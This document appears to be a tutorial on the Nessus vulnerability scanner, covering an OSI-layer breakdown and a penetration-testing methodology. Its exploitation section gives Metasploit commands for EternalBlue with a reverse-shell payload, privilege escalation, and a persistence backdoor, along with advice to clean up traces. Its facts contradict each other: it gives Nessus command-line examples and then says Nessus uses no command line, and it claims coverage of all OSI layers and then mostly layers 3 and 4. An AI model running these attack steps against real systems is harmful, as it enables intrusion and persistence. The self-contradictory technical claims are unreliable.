

NESSUS

Introduction to Nessus: Nessus is a widely used vulnerability assessment tool that helps organizations identify potential security risks within their networks. Developed by Tenable, Nessus scans systems to detect vulnerabilities, misconfigurations, and compliance issues. It is essential for maintaining robust security and ensuring that systems are protected against potential threats.

Importance of Nessus:

1. **Comprehensive Vulnerability Detection:** Nessus performs thorough scans to detect vulnerabilities across various systems, applications, and network devices. It identifies known vulnerabilities, zero-day threats, and misconfigurations, providing detailed reports to help organizations address these issues proactively.
2. **Regulatory Compliance:** Many industries are subject to strict regulatory requirements. Nessus helps organizations comply with standards such as PCI-DSS, HIPAA, and GDPR by providing detailed compliance checks and reporting.
3. **Risk Management:** By identifying vulnerabilities and providing remediation recommendations, Nessus enables organizations to prioritize and manage their security risks effectively. This proactive approach reduces the likelihood of successful attacks and minimizes potential damage.

Practical Example Commands:

1. Performing a Basic Network Scan: This command initiates a basic network scan to identify vulnerabilities in the specified IP range.

- `nessus -q -x -T html -i /path/to/scan-policy.nessus -o /output/report.html -p /path/to/credentials.xml 192.168.1.0/24`

Explanation:

- `-q`: Quiet mode, suppresses output.
- `-x`: Export results.
- `-T html`: Output format (HTML).
- `-i`: Input scan policy file.
- `-o`: Output report file.
- `-p`: Credentials file for authentication.
- `192.168.1.0/24`: Target IP range.

2. Running a Web Application Scan: This command runs a scan specifically targeting web applications to identify vulnerabilities like SQL injection, cross-site scripting, etc.

- `nessus -q -x -T html -i /path/to/webapp-scan-policy.nessus -o /output/webapp-report.html -p /path/to/credentials.xml http://example.com`

Explanation:

- Similar to the basic network scan command but targets a specific web application URL.

3. Conducting a Credentialed Patch Audit: This command performs a credentialed scan to check for missing patches on a target system.

- `nessus -q -x -T html -i /path/to/patch-audit-policy.nessus -o /output/patch-audit-report.html -p /path/to/credentials.xml 192.168.1.10`

Explanation:

- Similar to the previous commands but focuses on auditing for missing patches on the specified target IP.

Conclusion: NESSUS is a vital tool in the cybersecurity arsenal, offering comprehensive vulnerability detection, compliance checks, and risk management capabilities. By using NESSUS, organizations can proactively identify and remediate vulnerabilities, enhancing their overall security posture and reducing the risk of cyber-attacks.

NESSUS OSI

Nessus, a vulnerability scanner by Tenable, can identify vulnerabilities across all seven layers of the Open Systems Interconnection (OSI) model, also known as the OSI stack. The OSI model is a conceptual framework that defines how network communication occurs between devices. Here's a breakdown of how Nessus scans for vulnerabilities in each layer:

Layer 1: Physical Layer

- Nessus doesn't directly scan the physical layer, which deals with the physical transmission of data (cables, connectors). However, it might indirectly identify issues related to physical layer problems by analyzing network behavior or error messages.

Layer 2: Data Link Layer

- Nessus can identify vulnerabilities in protocols like Ethernet (MAC address spoofing) or Frame Relay (configuration weaknesses).

Layer 3: Network Layer

- Nessus can detect vulnerabilities in routing protocols (e.g., Border Gateway Protocol - BGP) and IP configuration issues.

Layer 4: Transport Layer

- This layer is heavily scanned by Nessus. It can identify vulnerabilities in common protocols like TCP (SYN flood attacks), UDP (reflection attacks), and application-specific protocols like FTP, SSH, and Telnet.

Layer 5: Session Layer

- Nessus can detect weaknesses in protocols that establish, manage, and terminate sessions, such as RPC (Remote Procedure Call).

Layer 6: Presentation Layer

- Nessus can identify vulnerabilities related to data encryption and decryption (e.g., SSL/TLS weaknesses).

Layer 7: Application Layer

- Nessus excels at scanning Layer 7, where applications reside. It can exploit known vulnerabilities in web applications, databases, and other services running on various platforms.

Additional Considerations:

- Nessus leverages plugins (pre-written scripts) to identify vulnerabilities in specific software and configurations. These plugins target different layers depending on the vulnerability being assessed.
- Nessus can also perform credentialed scans, which involve providing login credentials to access systems for a more in-depth analysis. This allows it to identify vulnerabilities that might not be detectable through non-credentialed scans.

By scanning across all layers, Nessus provides a comprehensive assessment of your network security posture, helping you identify and address potential weaknesses in your IT infrastructure.

Nessus is a powerful vulnerability scanner, but it has limitations in terms of covering all layers of the OSI model. Here's how Nessus can be used alongside other techniques to get a comprehensive view of vulnerabilities across different OSI layers:

Nessus Capabilities (OSI Layers 3 & 4):

Nessus excels at scanning for vulnerabilities in Layers 3 (Network) and 4 (Transport) of the OSI model. It can identify issues like:

- Unpatched operating systems and services
- Misconfigured network devices (firewalls, routers)
- Weak encryption protocols (SSL/TLS)
- Open and unnecessary ports

Complementary Techniques for Other Layers:

To cover the remaining OSI layers, Nessus can be combined with other tools and techniques:

- **Layer 1 (Physical):** Visual inspections, cable testers - Nessus doesn't directly assess physical layer issues.
- **Layer 2 (Data Link):** Protocol analyzers, packet sniffers - Tools like Wireshark can help identify suspicious traffic patterns or configuration errors on switches.
- **Layer 5 (Session):** Session hijacking detection tools - Techniques like server-side session management and monitoring can help identify session hijacking attempts.
- **Layer 6 (Presentation):** Code scanners, web application scanners - Tools like Burp Suite can be used to scan web applications for vulnerabilities like SQL injection and XSS attacks.
- **Layer 7 (Application):** Security testing frameworks, fuzzing tools - Tools like Metasploit can be used to simulate attacks and identify application-specific vulnerabilities.

Nessus as a Starting Point:

1. **Nessus Scan:** Start with a Nessus scan to identify network and system vulnerabilities across Layers 3 and 4.
2. **Prioritize Findings:** Focus on critical and high-risk vulnerabilities identified by Nessus.

3. **Targeted Techniques:** Based on Nessus findings and your infrastructure, use specific tools and techniques for deeper scans in other layers.
 - For Layer 2 issues, analyze network traffic using a protocol analyzer.
 - For web application vulnerabilities, use a web application scanner.
 - For custom applications, consider security testing frameworks or fuzzing tools.

Benefits of Combining Techniques:

By combining Nessus with other techniques, you gain a more comprehensive picture of your security posture:

- **Broader Coverage:** You can identify vulnerabilities across all OSI layers, not just network and transport layers.
- **Deeper Analysis:** Tools like web vulnerability scanners can provide more detailed information about application-specific weaknesses.
- **Improved Prioritization:** You can prioritize vulnerabilities based on their potential impact and exploitability.

Additional Considerations:

- **Integration:** Look for tools that integrate with Nessus to streamline vulnerability management.
- **Expertise:** Using some advanced tools might require specialized security expertise.
- **Workflow:** Establish a workflow for using Nessus and other tools to ensure regular vulnerability scanning and remediation.

In conclusion, Nessus is a valuable tool for identifying network and system vulnerabilities, but it's just one piece of the puzzle. By combining it with other techniques and tools, you can gain a comprehensive understanding of your security posture and effectively mitigate risks across all layers of the OSI model.

Nessus PT methodologies

1. Information Gathering

Objective: Collect data about the target environment to understand its structure and potential vulnerabilities.

Techniques:

- Identify network ranges, IP addresses, open ports, and running services.
- Use network discovery tools or passive methods to gather information.

Example: Use network mapping tools like Nmap to identify target hosts and open ports:

- `nmap -sP 192.168.1.0/24`

2. Scanning

Objective: Perform a detailed vulnerability assessment to identify security issues.

Steps:

1. Setup Nessus:

- Download and install Nessus from the official Tenable website.
- Register for a free or commercial license.
- Start the Nessus service and access the web interface (usually at <https://localhost:8834>).

2. Configure a Scan:

- Log in to the Nessus web interface.
- Create a new scan by navigating to Scans > New Scan.
- Choose a scan template (e.g., Basic Network Scan).
- Configure the scan settings (e.g., target IP addresses, ports, credentials).

3. Run the Scan:

- Save and launch the scan.
- Monitor the scan progress and wait for it to complete.

Command Example: Nessus doesn't use command-line inputs like SQLMap but uses a web interface for configuration and execution. Here's how you can start a basic network scan:

1. Go to the Nessus web interface.
2. Create a new scan.
3. Set the target range (e.g., 192.168.1.0/24).
4. Launch the scan.

3. Exploitation

Objective: Use identified vulnerabilities to gain unauthorized access.

Steps:

- Review the Nessus scan report for identified vulnerabilities.
- Prioritize vulnerabilities based on severity and exploitability.
- Use exploitation frameworks like Metasploit to exploit critical vulnerabilities.

Example: Identify a critical vulnerability from the Nessus report, such as an unpatched service. Use Metasploit to exploit it:

- `msfconsole`
- `use exploit/windows/smb/ms17_010_eternalblue`
- `set RHOST 192.168.1.10`
- `set PAYLOAD windows/meterpreter/reverse_tcp`

- set LHOST 192.168.1.100
- run

4. Privilege Escalation

Objective: Escalate privileges to gain higher-level access within the compromised system.

Steps:

- Identify potential privilege escalation vulnerabilities from the Nessus report.
- Use local exploits or misconfigurations to escalate privileges.

Example: If Nessus identifies a privilege escalation vulnerability (e.g., weak permissions on critical files), use an appropriate exploit to gain higher privileges:

- use exploit/windows/local/ms10_015_kitrap0d
- set SESSION 1
- run

5. Post-Exploitation

Objective: Maintain access, gather further information, and ensure stealth.

Steps:

- Install backdoors or persistence mechanisms.
- Gather sensitive data and artifacts for further analysis.
- Clean up traces to avoid detection.

Example: Install a persistent backdoor using Metasploit:

- use exploit/windows/local/persistence
- set SESSION 1
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST 192.168.1.100
- run

Conclusion

Nessus is a powerful tool for vulnerability assessment, providing a comprehensive overview of security issues within a network. By following the penetration testing methodologies of information gathering, scanning, exploitation, privilege escalation, and post-exploitation, security professionals can effectively identify, exploit, and remediate vulnerabilities to enhance overall security posture. Always ensure to conduct these activities ethically and with proper authorization.